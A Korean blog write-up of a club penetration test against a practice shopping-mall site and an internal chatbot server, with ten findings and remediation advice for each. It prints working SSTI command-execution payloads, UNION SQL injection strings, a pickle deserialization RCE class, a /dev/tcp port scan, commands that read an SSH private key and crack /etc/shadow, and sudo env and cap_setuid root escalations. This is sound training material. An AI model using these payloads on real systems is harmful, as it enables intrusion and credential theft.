웹해킹

HSPACEMall 모의해킹 후기 — 동아리 연합 Pentest 결과 정리

jiwonniii 2026. 3. 9. 23:18

HSPACEMall 모의해킹 실습 정리

동아리 연합 모의해킹 프로젝트로 HSPACEMall이라는 가상 쇼핑몰을 분석한 기록을 정리해본다. 단순히 "어떤 취약점이 있었는가"가 아니라, 각 단계에서 어떤 가설을 세웠고, 어떤 단서를 보고 다음 스텝으로 넘어갔는지 사고 과정 위주로 적으려고 한다. 결과보고서는 따로 있지만, 그건 클라이언트에게 제출하는 형식이라 발견 사실 위주로 깔끔하게 적혀 있고, 이 글은 내가 공부하면서 "왜?"를 채워 넣은 버전이다.

평가 개요

  • 대상: HSPACEMall 웹 쇼핑몰 (http://shoppingmall.r-e.kr:5001/)
  • 내부망 대상: chatbot 서버 (172.19.0.2)
  • 수행 일자: 2026년 3월 9일
  • 방법론: OWASP Testing Guide v4.2 + KISA 기술적 취약점 분석·평가 가이드
  • 테스트 유형: 블랙박스 침투 테스트
  • 범위 제외: DoS 공격

총 10건의 취약점을 발견했고, CVSS v3.1 기준으로 분류하면 다음과 같다.

  • 심각(Critical, 9.0–10.0): 5건 — 시스템 전체 제어 가능
  • 높음(High, 7.0–8.9): 2건 — 중요 데이터 탈취·서비스 중단 가능
  • 중간(Medium, 4.0–6.9): 1건 — 제한적 피해, 다른 취약점과 결합 시 위험 증가
  • 낮음(Low, 0.1–3.9): 2건 — 직접 피해는 낮으나 정보 노출 등 보조 위험

전체 공격 체인 한눈에 보기

분석을 마치고 돌아보니 발견한 취약점들이 독립적인 게 아니라, 하나의 매끄러운 공격 경로를 형성하고 있었다.

[정찰 단계]
HTML 주석 노출 (VULN-01)
  → JS 파일 하드코딩 해시 → admin 계정 탈취 (VULN-02)
  → robots.txt 정보 노출 (VULN-03)
  → IDOR로 숨겨진 주문 데이터 (VULN-04)

[초기 침투 단계]
admin 권한으로 /admin/calculator 진입
  → SSTI → RCE (VULN-05)
  → SECRET_KEY 평문 노출 (VULN-06)

[데이터 탈취 단계]
로그인 페이지 SQL Injection (VULN-07)

[횡적 이동 단계]
/profile_data Pickle 역직렬화 → www-data 쉘
  → SSH 키 발견 → 내부망 스캔 → /etc/shadow 크래킹
  → chatbot 서버 SSH 접속 (VULN-08)

[권한 상승 단계]
웹 서버: sudo NOPASSWD env → root (VULN-09)
chatbot 서버: cap_setuid 오설정 → root (VULN-10)

VULN-02가 탈취되지 않았다면 admin 패널 못 들어가고, 그럼 SSTI(VULN-05)를 못 찾았을 것이고, 그럼 RCE도 없고, 그럼 Pickle 페이로드(VULN-08) 위치도 모르고, 그럼 내부망 횡적 이동도 없다. "낮음" 등급의 작은 결함이 체인의 시작점이 되면 사실상 critical과 같은 영향력을 갖는다는 게 이번 실습에서 가장 크게 배운 점이다.


VULN-01. HTML 주석을 통한 정보 노출 [낮음]

플래그: HSPACE{d3v_m0d3_1s_d4ng3r0us} 위치: view-source:http://shoppingmall.r-e.kr:5001/

가설

개발 환경(Dev Mode)에서 디버깅 목적으로 남겨둔 주석이 운영 환경에 그대로 남아있을 가능성이 있다. 특히 막 만든 서비스나 보안 검토 없이 배포된 사이트는 주석 정리가 안 되어 있는 경우가 많다.

분석 과정

블랙박스 평가의 첫 스텝은 항상 정찰이다. 별다른 도구 없이도 브라우저에서 Ctrl+U로 페이지 소스 보기를 켜고, Ctrl+F로 의심 키워드를 검색하는 것만으로도 꽤 많은 정보가 나온다. 이번 실습에서는 플래그 패턴(HSPACE)으로 검색했더니 HTML 주석 안에 플래그가 그대로 박혀 있었다.

📷 [그림 1-1] HTML 주석에서 플래그 확인 페이지 소스에서 <!-- ... HSPACE{...} ... --> 형태로 주석 처리된 플래그가 그대로 노출된 화면

<!-- 개발용: HSPACE{d3v_m0d3_1s_d4ng3r0us} -->

분석 의의

이런 주석 노출이 단순히 플래그 한 줄이면 다행이지만, 실무에서는 내부 API 엔드포인트, 테스트 계정, 디버그 토큰 같은 게 동일한 패턴으로 노출되는 경우가 흔하다. 주석은 사람이 보는 것이지만 결국 클라이언트로 전송되는 HTML의 일부이므로 누구나 읽을 수 있다.

개선 권고

  • 운영 배포 전 HTML 주석·디버그 코드·개발용 데이터 전수 검토
  • CI/CD 파이프라인에 자동화된 시크릿 스캐너 도입 (truffleHog, git-secrets 등)
  • 빌드 단계에서 HTML/JS 주석 자동 제거(minify) 적용

VULN-02. JS 파일 내 하드코딩된 자격 증명 [심각]

플래그: HSPACE{h4rdc0d3dcr3d3nt14l!s_d4ng3r0us} 위치: http://shoppingmall.r-e.kr:5001/static/js/main.js

가설

HTML 주석에 정보가 남아있다면, 동일한 부주의가 JS 같은 정적 자원에도 있을 가능성이 높다. JS는 HTML보다 양이 많고 개발자 친화적이라 오히려 더 많은 흔적이 남는다.

분석 과정

DevTools의 Sources 탭에서 로드된 JS 파일들을 모두 확인하던 중, main.js 하단에서 다음과 같은 주석을 발견했다.

📷 [그림 2-1] JS 파일 하단 관리자 정보 주석 발견 /static/js/main.js 파일 하단에 SHA-512 해시 형태로 노출된 관리자 자격 증명

// admin:sha512:3645092c...

SHA-512 해시 형태의 관리자 자격 증명이었다. 해시는 단방향이지만, 비밀번호가 일반적인 단어이거나 흔한 패턴이면 레인보우 테이블 검색으로 쉽게 역산된다. CrackStation에 해시 값을 넣어보니 평문 bedspace가 나왔다.

확보한 자격 증명으로 로그인 페이지에 접근:

ID: admin
PW: bedspace

 

📷 [그림 2-2] 관리자 로그인 성공 및 플래그 획득 복원한 평문 비밀번호로 admin 계정 로그인 성공, 관리자 패널 진입 후 플래그 노출 확인

분석 의의

이 취약점이 [심각] 등급인 이유는 두 가지다.

  1. 단독 영향: 관리자 권한 탈취는 그 자체로 게임 종료에 가깝다. 모든 관리 기능을 마음대로 쓸 수 있다.
  2. 체인에서의 위치: 뒤에서 발견하게 될 SSTI 취약점이 있는 /admin/calculator 페이지는 admin 권한이 있어야 접근 가능했다. 즉 이 단계가 막혔다면 SSTI → RCE → 권한 상승 → 횡적 이동으로 이어지는 메인 공격 체인 자체가 성립하지 않는다.

해시를 쓴다고 안전하다는 건 흔한 오해다. SHA-512는 빠른 해시 함수라서 GPU로 초당 수십억 회 계산이 가능하다. 비밀번호 해싱에는 bcrypt, scrypt, Argon2처럼 의도적으로 느린 함수를 써야 한다.

개선 권고

  • 자격 증명·API 키·비밀번호는 절대 소스 코드에 하드코딩하지 않는다
  • 환경 변수 또는 시크릿 관리 시스템(HashiCorp Vault, AWS Secrets Manager 등) 사용
  • 운영 배포 시 JS 파일 minify/uglify를 거쳐 주석 자동 제거
  • 비밀번호 해싱은 bcrypt/scrypt/Argon2 등 느린 KDF 사용

VULN-03. robots.txt를 통한 정보 노출 [낮음]

플래그: HSPACE{r0b0tstxt!s_n0t_a_s3cur1tym3ch4n1sm} 위치: http://shoppingmall.r-e.kr:5001/robots.txt

가설

robots.txt는 검색엔진 크롤러에게 "여기는 인덱싱하지 마세요"를 요청하는 파일이지만, 역설적으로 공격자에게는 "여기에 뭔가 숨기고 있어요"라고 알려주는 표지판이 된다. 개발자가 숨기고 싶은 경로를 robots.txt에 적어두는 실수가 매우 흔하다.

분석 과정

루트 경로의 robots.txt에 직접 접근:

User-agent: *
Disallow: /this_is_hidden_page

Disallow 항목에 명시된 /this_is_hidden_page 경로에 직접 접근하니 페이지 내에 플래그가 노출되어 있었다.

분석 의의

robots.txt는 요청 파일이지 강제 파일이 아니다. 크롤러가 자발적으로 따라줄 뿐, 인증·인가와는 무관하다. 따라서 민감한 경로를 robots.txt에 적는 것은:

  1. 보안 효과가 전혀 없고
  2. 오히려 공격자에게 정찰 정보를 제공한다

일종의 "Security through Obscurity(은닉을 통한 보안)" 사례인데, 이 접근 방식은 거의 모든 보안 표준에서 안티패턴으로 분류된다.

개선 권고

  • 민감한 경로는 robots.txt 등재 여부와 무관하게 서버 측 인증/인가로 보호
  • robots.txt에는 일반 공개 경로 중에서 검색 노출만 막고 싶은 항목만 기재
  • 숨겨진 페이지가 있다면 URL 자체를 추측 어렵게 만들기보다 접근 제어 적용

VULN-04. IDOR (Insecure Direct Object Reference) [중간]

플래그: HSPACE{th1s!s_h1dd3n_0rd3r} 위치: http://shoppingmall.r-e.kr:5001/orders/

가설

객체 참조에 순차적인 정수를 사용하는 시스템은 IDOR 취약점이 있을 가능성이 매우 높다. 식별자가 예측 가능하면, 권한 검증이 부실할 경우 다른 사용자의 데이터에 접근할 수 있다.

분석 과정

주문 조회 기능을 사용해보니 URL 패턴이 명확했다.

📷 [그림 4-1] 주문 번호에 따른 식별자 숫자 /orders/{id} 형태로 식별자가 순차적인 정수임을 보여주는 URL 구조

  • /orders/1 → 울트라 슬림 노트북
  • /orders/2 → 노이즈 캔슬링 헤드폰

식별자가 순차적인 정수라는 점이 확인됐으므로, 일반적인 범위를 벗어난 값을 시도해보았다. IDOR 분석에서 자주 던져보는 경계값들은 다음과 같다.

  • 0
  • 음수 (-1)
  • 매우 큰 수 (999999)
  • 문자열, 빈 값, NULL

/orders/0을 시도하니 상품 정보 자리에 플래그가 반환되었다. 시스템이 ID 0번을 일반 상품 외의 특수 용도로 사용하고 있었던 것으로 보인다.

분석 의의

이 취약점의 진짜 위험은 플래그 노출 자체가 아니라, 권한 검증 없이 객체에 접근 가능했다는 점이다. 만약 다른 사용자의 결제 정보, 주소, 주문 내역에 동일한 방식으로 접근 가능했다면 개인정보 대량 유출로 이어졌을 것이다.

OWASP Top 10 2021에서 A01: Broken Access Control이 1위로 올라온 이유가 이런 류의 취약점이 너무 흔하기 때문이다.

개선 권고

  • 객체 식별자에 순차 정수 대신 UUID 등 예측 불가능한 값 사용
  • 모든 객체 접근 요청에 대해 서버 측에서 요청자의 소유권/권한 검증 (인증 != 인가)
  • 응답에 권한 없는 데이터가 포함되지 않도록 ORM 레벨에서 필터링 적용

VULN-05. SSTI를 통한 원격 코드 실행 [심각]

플래그: HSPACE{SSTI_t0RCE!s_myf4v0r1t3} 위치: http://shoppingmall.r-e.kr:5001/admin/calculator

가설

관리자 패널에 "계산기" 같은 사용자 입력을 받아 처리하는 기능이 있을 때, 그 입력이 템플릿 엔진에 그대로 들어가면 SSTI(Server-Side Template Injection)가 발생한다. 특히 Python/Flask 환경의 Jinja2 SSTI는 RCE까지 직결되는 경우가 많다.

분석 과정

1) 템플릿 엔진 식별

SSTI 분석은 어떤 템플릿 엔진을 쓰는지 확인하는 것에서 시작한다. 일반적으로는 {{7*7}}을 던져 49가 나오면 Jinja2/Twig/ERB 등이고, ${7*7}이면 FreeMarker/Velocity, <%= 7*7 %>면 ERB/EJS 등으로 구분한다.

이 사이트는 구분자를 변형해 [[ ]]로 사용하고 있었다.

📷 [그림 5-1] 계산기 기능에서 템플릿 구문 테스트 (Jinja2 확인) 계산기 입력란에 [[7*7]] 입력 시 49가 출력되어 서버 측 평가 확인

입력: [[7*7]]
출력: 49

49가 출력되었으므로 표현식이 서버에서 평가됨이 확인됐고, Python 컨텍스트(Flask)임을 알고 있으므로 Jinja2로 확정.

2) 객체 그래프 탐색을 통한 RCE

Jinja2 SSTI의 정석 페이로드는 Python 객체 그래프를 거슬러 올라가 위험한 모듈에 도달하는 것이다. Flask 환경에서는 config 객체가 항상 접근 가능해서 시작점으로 자주 쓰인다.

config.__class__              # Config 클래스
  .__init__                    # 생성자 함수
  .__globals__                 # 그 함수가 정의된 모듈의 전역 네임스페이스
  ['os']                       # → os 모듈 획득

이 흐름을 한 줄로 묶으면 임의 명령 실행이 가능해진다.

 

📷 [그림 5-2] find 명령으로 flag 파일 경로 탐색 SSTI 페이로드를 통해 시스템 전체에서 flag 관련 파일을 검색하는 페이로드 입력 화면

[[config.__class__.__init__.__globals__['os'].popen('find / -name "*flag*" 2>/dev/null').read()]]

📷 [그림 5-3] find 명령 실행 결과 find 명령 결과 /flag.txt 등 시스템 내 다수 flag 파일 경로 노출

이 페이로드로 시스템 전체에서 flag 관련 파일 위치를 탐색했고, /flag.txt 경로 확인 후:

[[config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()]]

📷 [그림 5-4] /flag.txt 파일 읽기 성공 SSTI를 통한 cat 명령 실행으로 /flag.txt 파일 내용 노출 (RCE 확정)

으로 플래그 회수.

분석 의의

이 시점에서 사실상 웹서버에 쉘을 획득한 것과 같은 상황이 된다. 이후 발견하게 될 모든 후속 취약점(SECRET_KEY 노출, Pickle 페이로드 발견, 권한 상승)은 전부 이 SSTI를 발판으로 진행된다.

SSTI가 위험한 이유는 단순히 "템플릿 인젝션"이 아니라, 언어 런타임 전체를 공격자가 조작 가능하다는 점이다. 일반적인 XSS나 SQLi와 달리 환경에 따라 OS 명령 실행까지 직결된다.

개선 권고

  • 사용자 입력을 템플릿 엔진에 직접 전달하지 않는다
  • 계산기 기능은 simpleeval 같은 안전한 수식 파서 사용
  • 운영 환경에서 DEBUG=False 보장
  • WAF 레벨에서 __class__, __globals__ 등 의심 패턴 모니터링

VULN-06. SSTI를 통한 SECRET_KEY 노출 [높음]

플래그: HSPACE{th1s!s_n0t_a_s3cr3t_k3y} 위치: http://shoppingmall.r-e.kr:5001/admin/calculator

가설

SSTI가 확보된 상태에서 Flask 애플리케이션의 config 객체를 출력하면 전체 설정이 노출된다. 여기에는 보통 SECRET_KEY, 데이터베이스 연결 정보, API 키 등이 포함된다.

분석 과정

📷 [그림 6-1] Jinja2 엔진 확인 [[7*7]] → 49 출력으로 Jinja2 템플릿 엔진(Python + Flask) 사용 확인

[[config]]

📷 [그림 6-2] [[config]] 구문으로 SECRET_KEY 포함 설정 정보 노출 [[config]] 입력 결과 Flask Config 객체 전체 노출, SECRET_KEY가 평문으로 표시

이 한 줄로 Flask Config 객체 전체가 출력되었다. 그 안에 SECRET_KEY가 평문으로 박혀 있었으며, 우연히도 그 값 자체가 플래그 형식이었다.

'SECRET_KEY': 'HSPACE{th1s!s_n0t_a_s3cr3t_k3y}'

분석 의의

SECRET_KEY는 Flask에서 세션 쿠키 서명, CSRF 토큰 생성, 기타 암호학적 작업에 사용되는 핵심 비밀이다. 이게 유출되면 다음이 가능해진다.

  1. 세션 위조: 임의의 사용자(예: admin)로 로그인된 것처럼 위조된 세션 쿠키를 직접 만들 수 있다. 즉 SSTI 취약점이 패치된다 해도, SECRET_KEY가 회전되지 않으면 인증 우회가 계속 가능하다.
  2. CSRF 보호 우회: 토큰 검증을 무력화할 수 있다.

따라서 SSTI 패치만으로는 충분하지 않고 SECRET_KEY 즉시 교체가 함께 이뤄져야 한다.

SSTI 검증 페이로드 정리

분석하면서 자주 사용한 SSTI 정찰 페이로드를 정리해두면 다음과 같다.

  • [[7*7]] — 평가 여부 확인
  • [[config]] — Flask 설정 덤프
  • [[config.items()]] — 같은 정보 리스트 형태
  • [[self.__dict__]] — 현재 컨텍스트 내부 변수
  • [[''.__class__.__mro__]] — Python MRO 따라 객체 그래프 탐색

개선 권고

  • SECRET_KEY는 환경 변수로만 관리, 충분한 길이의 무작위 값 사용
  • 노출 시 즉시 교체 및 모든 활성 세션 무효화
  • 주기적인 키 회전(rotation) 정책 수립
  • SSTI 근본 조치 선행

VULN-07. SQL Injection (UNION-based) [심각]

플래그: HSPACE{this_is_your_super_secret_flag} 위치: http://shoppingmall.r-e.kr:5001/users/login

가설

로그인 페이지의 사용자 이름 필드가 매개변수 바인딩 없이 SQL 쿼리에 직접 삽입되고 있을 가능성을 의심했다. 특히 출력이 화면에 반영되는(reflective) 형태라면 UNION-based SQLi가 가능하다.

분석 과정

이 분석은 UNION-based SQLi의 정석을 그대로 따라간 케이스라 단계별로 자세히 적어둔다.

1단계: 주석 문자 식별

SQL 인젝션에서 가장 먼저 할 일은 어떤 주석 문법이 동작하는지 확인하는 것이다. MySQL에서는 -- 다음에 공백이 와야 주석으로 인식된다는 점이 함정이다.

📷 [그림 7-1] 로그인 페이지 SQL Injection 테스트 로그인 폼에 admin' + 다양한 주석 문자(--, #, -- -)를 시도한 결과 비교

admin' --       → 500 에러 (공백 문제)
admin' #        → 정상 동작 → SQLi 가능성 확인
admin' -- -     → 정상 동작 (대시 뒤에 문자 추가)

2단계: 컬럼 수 식별

UNION을 쓰려면 양쪽 SELECT의 컬럼 수가 일치해야 한다. ORDER BY로 점진적으로 늘려가며 에러가 발생하는 경계를 찾는다.

📷 [그림 7-2] ORDER BY 5 → 에러 없음 (참) admin' ORDER BY 5# 입력 시 정상 응답 화면

📷 [그림 7-3] ORDER BY 6 → 에러 발생 (거짓) → 컬럼 수 5개 확정 admin' ORDER BY 6# 입력 시 500 에러 발생, 컬럼 수가 5개로 확정됨

admin' ORDER BY 1#       → OK
admin' ORDER BY 5#       → OK
admin' ORDER BY 6#       → 에러

→ 컬럼 수 5개 확정.

3단계: UNION 동작 검증 + 출력 위치 확인

📷 [그림 7-4] UNION SELECT 구문으로 SQLi 동작 검증 nosuchuser' UNION SELECT 1,2,3,4,5# 입력 결과 화면에 숫자가 그대로 반영되어 출력 위치 확인

nosuchuser' UNION SELECT 1,2,3,4,5#

nosuchuser로 만들어 앞쪽 SELECT는 빈 결과가 되도록 유도하면, UNION 뒤쪽 결과가 그대로 화면에 반영된다. 이때 화면에 어느 숫자(1~5 중)가 출력되는지를 보고, 어느 컬럼 위치가 사용자에게 노출되는지 확인한다.

4단계: 스키마 열거

information_schema를 활용해 데이터베이스의 테이블과 컬럼을 열거.

nosuchuser' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()#

→ flag 테이블 존재 확인.

nosuchuser' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='flag'#

→ flag_value 컬럼 확인.

5단계: 데이터 추출

📷 [그림 7-5] flag 테이블에서 플래그 추출 성공 최종 페이로드로 flag 테이블의 flag_value 컬럼 값이 응답에 출력된 화면

nosuchuser' UNION SELECT 1,flag_value,3,4,5 FROM flag#

→ 플래그 회수.

분석 의의

이 취약점의 본질은 사용자 입력이 SQL 쿼리에 문자열 결합 방식으로 삽입되고 있다는 것이다. escape 처리만으로는 막기 어렵다. 인코딩 우회, 멀티바이트 우회, 컨텍스트 변경 등 다양한 우회 기법이 존재하기 때문이다.

근본 해결책은 Prepared Statement(파라미터화 쿼리) 사용이다. 입력값이 데이터로만 처리되고 쿼리 구조에 영향을 줄 수 없게 된다.

개선 권고

  • 모든 DB 쿼리에 Prepared Statement 적용
  • ORM(SQLAlchemy 등) 도입으로 raw 쿼리 최소화
  • 입력값에 대한 화이트리스트 검증
  • DB 계정 권한 최소화 (애플리케이션 계정에 information_schema 접근 차단)
  • WAF/IDS에서 SQLi 패턴 모니터링

VULN-08. Pickle 역직렬화를 통한 횡적 이동 [심각]

플래그: HSPACE{l4t3r4l_m0v3m3nt_v14_p4ssw0rd_cr4ck} 위치: http://shoppingmall.r-e.kr:5001/users/profile_data

이 취약점은 단일 결함이 아니라 여러 단계가 결합된 복합 공격이라 가장 분석할 게 많았다.

가설

웹 애플리케이션이 Flask로 작성되어 있다는 것은 백엔드가 Python이라는 뜻이고, 사용자 데이터를 저장/전송하는 과정에서 pickle 모듈을 부주의하게 사용하고 있을 가능성이 있다. Python의 pickle.loads()는 신뢰할 수 없는 데이터에 사용 시 RCE로 직결된다.

분석 과정

1) 엔드포인트 발견

VULN-05에서 확보한 SSTI RCE를 활용해 서버의 Python 소스 코드를 탐색.

📷 [그림 8-1] Python 관련 파일 목록 출력 SSTI 페이로드로 /app 디렉토리 내 .py 파일 목록 노출

[[config.__class__.__init__.__globals__['os'].popen('find /app -name "*.py"').read()]]

📷 [그림 8-2] /profile_data 엔드포인트 발견 routes 파일 분석 결과 pickle.loads()를 사용하는 /profile_data 엔드포인트 코드 노출

routes 파일을 분석하던 중 /profile_data 엔드포인트 발견. 코드를 보니 사용자가 POST로 보낸 base64 데이터를 디코딩 후 pickle.loads()로 역직렬화하는 구조였다.

2) Pickle 페이로드 원리

Python pickle 모듈은 역직렬화 시 객체에 정의된 __reduce__ 메서드를 자동 호출한다. __reduce__가 (callable, args) 형태의 튜플을 반환하면, pickle은 그것을 그대로 호출한다. 즉 다음과 같은 클래스를 직렬화한 뒤 보내면, 받는 쪽에서 역직렬화하는 순간 명령어가 실행된다.

📷 [그림 8-3] Pickle reduce 페이로드 구성 공격용 클래스에 __reduce__ 메서드를 정의하고 base64로 인코딩하는 Python 스크립트

import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('명령어',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()

📷 [그림 8-4] chatbot 사용자 존재 확인 페이로드 전송 후 서버에서 whoami 실행 결과로 chatbot 사용자 존재 확인

이 페이로드를 /profile_data에 전송했더니 서버에서 명령어가 실행되었고, whoami 결과로 chatbot 유저의 존재를 확인했다.

3) 내부망 정찰

📷 [그림 8-5] /home/chatbot/ 디렉토리 목록 확인 ls -la /home/chatbot/ 결과 .ssh 디렉토리와 관련 파일들 노출

📷 [그림 8-6] id_ed25519 개인키 발견 /home/chatbot/.ssh/id_ed25519 파일 내용 노출, OPENSSH PRIVATE KEY 헤더 확인

ls -la /home/chatbot/
ls -la /home/chatbot/.ssh/
cat /home/chatbot/.ssh/id_ed25519

/home/chatbot/.ssh/id_ed25519 개인키 발견. SSH 접속 가능성 확보. 다음 질문은 "어디로 접속할 것인가?"

📷 [그림 8-7] 웹서버 IP 확인 (172.19.0.4) ip a 또는 hostname -I 출력 결과 현재 호스트가 172.19.0.4임을 확인

ip a              # 현재 호스트 IP 확인 → 172.19.0.4

Docker 사설망 대역으로 추정되므로 172.19.0.0/24 대역을 22번 포트로 스캔.

📷 [그림 8-8] 172.19.0.2에 SSH 서버 존재 확인 Bash 한 줄 포트 스캔 결과 172.19.0.2:22에서 SSH 응답 확인

for i in $(seq 1 254); do
  (timeout 1 bash -c "echo > /dev/tcp/172.19.0.$i/22" 2>/dev/null) && \
  echo "172.19.0.$i: SSH open"
done

→ 172.19.0.2에서 SSH 응답 확인.

4) SSH 접속 + 비밀번호 크래킹

📷 [그림 8-9] SSH 접속 시 비밀번호 요구 → 크래킹 시도 키 파일을 지정해도 password 프롬프트가 추가로 등장하여 이중 인증 구조임을 확인

ssh -i id_ed25519 chatbot@172.19.0.2

키 인증만으로는 부족했고 비밀번호도 요구되었다(이중 인증 형태). 그래서 /etc/shadow에서 chatbot 사용자의 해시 추출 후 john으로 크래킹.

📷 [그림 8-10] john --show 결과: 비밀번호 "computer" 확인 john --show hash.txt 명령 실행 결과 chatbot의 평문 비밀번호 computer 노출

📷 [그림 8-11] 크래킹 결과 확인 john 크래킹 진행 로그 및 최종 복원된 평문 비밀번호 출력 화면

cat /etc/shadow | grep chatbot > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

→ 평문 computer 회수. rockyou 워드리스트는 약한 비밀번호에 매우 효과적이다.

5) chatbot 서버 접속 및 플래그 회수

📷 [그림 8-12] chatbot@172.19.0.2 SSH 접속 성공 키 + 비밀번호 조합으로 chatbot 서버 SSH 로그인 성공, chatbot@172.19.0.2:~$ 프롬프트 확인

📷 [그림 8-13] /home/chatbot/flag.txt 플래그 획득 chatbot 서버 홈 디렉토리에서 cat flag.txt 실행 결과 횡적 이동 플래그 노출

ssh -i id_ed25519 chatbot@172.19.0.2   # PW: computer
cat /home/chatbot/flag.txt

분석 의의

이 한 문제 안에 다음 기술이 연쇄적으로 사용되었다.

  1. SSTI를 활용한 소스 코드 분석
  2. Pickle __reduce__ 페이로드 작성
  3. Base64 인코딩으로 바이너리 데이터 전달
  4. 내부망 사설 IP 대역 추론 및 포트 스캔
  5. SSH 키 + 비밀번호 이중 인증 우회
  6. /etc/shadow 해시 추출 및 john 크래킹

가장 인상적이었던 건 컨테이너 내부망의 신뢰 가정이 얼마나 위험한지였다. 외부 노출 서비스만 방어한다고 끝이 아니라, 내부 컨테이너 간 통신과 인증도 동일한 수준으로 관리되어야 한다.

개선 권고

  • 신뢰할 수 없는 데이터에 pickle 사용 금지 (대체: JSON, MessagePack)
  • 불가피한 경우 HMAC 서명 검증으로 무결성 확보
  • 컨테이너 간 네트워크 분리 강화 (Docker network policy, Kubernetes NetworkPolicy)
  • SSH 키는 사용자 홈 디렉토리에 평문으로 두지 않고 별도 보호
  • /etc/shadow 접근 권한 재검토 (root 외 접근 차단 확인)
  • 강한 비밀번호 정책 (rockyou 워드리스트에 포함될 만한 단어 차단)

VULN-09. sudo env 오설정을 통한 권한 상승 [심각]

플래그: HSPACE{pr1v1l3g33sc4l4t10n!s_n0w_p0ss1bl3} 대상: 웹 서버 - www-data 계정

가설

리버스 쉘 또는 RCE로 일반 계정 쉘을 획득한 후, 권한 상승의 첫 번째 체크포인트는 항상 sudo -l이다. 비밀번호 없이 sudo로 실행 가능한 명령어가 있다면, 그 명령어 자체에 권한 상승 트릭이 숨어있을 가능성이 매우 높다.

분석 과정

VULN-05에서 확보한 SSTI RCE로 리버스 쉘을 띄워 www-data 계정의 인터랙티브 쉘 획득. 곧바로:

sudo -l

결과:

User www-data may run the following commands on shoppingmall:
    (root) NOPASSWD: /usr/bin/env

env가 왜 위험한가?

겉보기엔 단순히 환경 변수를 출력/설정하는 명령어지만, env의 두 번째 용법은 다음과 같다.

env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]

즉 env CMD 형태로 임의의 명령어를 실행할 수 있다. 그리고 sudo로 env가 실행되면, env가 root 권한으로 동작하면서 인자로 전달된 명령어 역시 root 권한을 상속받는다.

📷 [그림 9-1] sudo env 오설정 확인 및 root 권한 획득 sudo -l 결과 화면과 sudo /usr/bin/env /bin/bash 실행 후 프롬프트가 $ → #으로 변경, id 결과 uid=0(root) 확인

sudo /usr/bin/env /bin/bash

쉘 프롬프트가 $에서 #으로 바뀌었고, id 출력은 uid=0(root). 서버의 모든 통제권 확보.

분석 의의

env 외에도 sudo NOPASSWD로 권한 상승 가능한 바이너리는 매우 많다. GTFOBins(https://gtfobins.github.io/)는 이런 케이스를 정리해놓은 표준 레퍼런스로, 모의해킹 권한 상승 단계에서 거의 매번 참조하게 된다.

운영자 입장에서 env나 vim, find, awk 같은 일상 도구에 NOPASSWD를 주는 것은 그냥 root를 주는 것과 다름없다는 인식이 필요하다.

개선 권고

  • sudoers에서 범용 바이너리(env, vim, find, awk, less 등)에 NOPASSWD 부여 금지
  • 최소 권한 원칙(PoLP) 적용: 꼭 필요한 명령어만, 가능하면 비밀번호 요구
  • /etc/sudoers 정기 감사
  • GTFOBins 등록된 바이너리는 sudoers에서 자동 검출하는 스캐너 활용

VULN-10. Linux Capabilities 오설정 (cap_setuid) [높음]

플래그: HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky} 대상: chatbot 서버 - chatbot 계정

가설

VULN-08로 chatbot 서버에 들어왔지만 일반 계정 권한이다. Linux 권한 상승 체크리스트를 순서대로 돌리되, sudo 외에도 SUID 비트와 Linux Capabilities를 반드시 확인해야 한다.

분석 과정

1) 권한 상승 체크리스트 실행

📷 [그림 10-1] chatbot 홈 디렉토리 확인 ls -al 결과 .bash_history 등 정찰 단서가 될 만한 파일 노출

📷 [그림 10-2] .bash_history에서 권한 상승 시도 이력 확인 cat ~/.bash_history 결과 이전 사용자가 시도한 권한 상승 관련 명령어 흔적 확인

ls -al                                # 홈 디렉토리 단서 확인
cat ~/.bash_history                   # 이전 사용자 흔적
sudo -l                               # NOPASSWD 명령
find / -perm -4000 2>/dev/null        # SUID 비트
/sbin/getcap -r / 2>/dev/null         # Linux Capabilities

📷 [그림 10-3] /sbin/getcap 결과 - python3.10에 cap_setuid=ep 확인 /sbin/getcap -r / 실행 결과 /usr/bin/python3.10 = cap_setuid+ep 항목 노출

getcap 결과에서 결정적 단서 발견.

/usr/bin/python3.10 = cap_setuid+ep

2) cap_setuid 이해

Linux Capabilities는 root의 거대한 권한을 38개 정도의 세분화된 능력으로 나눠 필요한 것만 부여하는 메커니즘이다. cap_setuid는 그중에서도 프로세스의 UID를 자유롭게 변경할 수 있는 권한으로, 사실상 "root가 될 수 있는 권한"과 거의 같다.

+ep는 Effective + Permitted 플래그를 의미하며, 해당 바이너리 실행 시 이 권한이 즉시 활성화된다.

3) 권한 상승 실행

📷 [그림 10-4] python3.10으로 root 권한 획득 python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")' 실행 후 root 쉘 진입 화면

📷 [그림 10-5] id 명령으로 root 권한 확인 id 출력 결과 uid=0(root)로 권한 상승 성공 확인

python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'

os.setuid(0)이 cap_setuid 권한 덕분에 성공하고, 이후 호출되는 /bin/bash는 root 컨텍스트에서 실행된다.

📷 [그림 10-6] /root/flag.txt 플래그 획득 root 권한으로 cat /root/flag.txt 실행 결과 권한 상승 플래그 노출

id
# uid=0(root) gid=1000(chatbot) groups=1000(chatbot)
cat /root/flag.txt

분석 의의: SUID와 Capabilities의 차이

이 부분이 헷갈리기 쉬워서 정리하고 넘어간다.

구분 SUID Capabilities

부여 방식 chmod u+s setcap cap_xxx+ep
권한 범위 소유자 권한 전체 (보통 root) 세분화된 개별 권한
보안 우수성 낮음 (전체 권한) 높음 (필요한 것만)
위험성 명확함 잘못 부여 시 사실상 SUID와 동일

이론적으로는 Capabilities가 더 안전한 설계지만, cap_setuid나 cap_sys_admin 같은 강력한 capability를 부여하면 SUID-root 바이너리와 다를 게 없다. 보안 모델은 도구가 아니라 운영자의 이해도에 좌우된다는 점을 보여주는 사례다.

개선 권고

  • 불필요한 capabilities 즉시 제거: setcap -r /usr/bin/python3.10
  • 정기적으로 getcap -r / 실행하여 시스템 전체 점검
  • 인터프리터 바이너리(python, ruby, perl 등)에 capabilities 부여 금지 (사실상 root)
  • 컨테이너 이미지에서 불필요한 capability를 BUILD 시점에 제거

